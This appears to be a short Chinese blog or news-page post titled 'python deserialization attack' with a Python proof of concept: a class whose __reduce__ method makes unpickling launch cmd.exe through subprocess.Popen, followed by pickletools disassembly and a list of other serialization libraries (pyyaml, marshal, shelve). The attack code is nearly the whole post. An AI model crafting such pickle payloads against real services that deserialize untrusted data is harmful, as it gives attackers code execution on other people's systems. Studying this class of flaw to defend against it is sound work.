你的位置:首页 > 信息动态 > 新闻中心
信息动态
联系我们

python反序列化攻击

2021/12/27 22:44:03

import pickle
import pickletools
import subprocess

# Attack definition __reduce__

class A(object):
    a = 1
    b = 2
    def __reduce__(self):
        return (subprocess.Popen, (('cmd.exe',),))

data = pickle.dumps(A())
pickletools.dis(data)

## python other library
pyyaml
marshal
shelve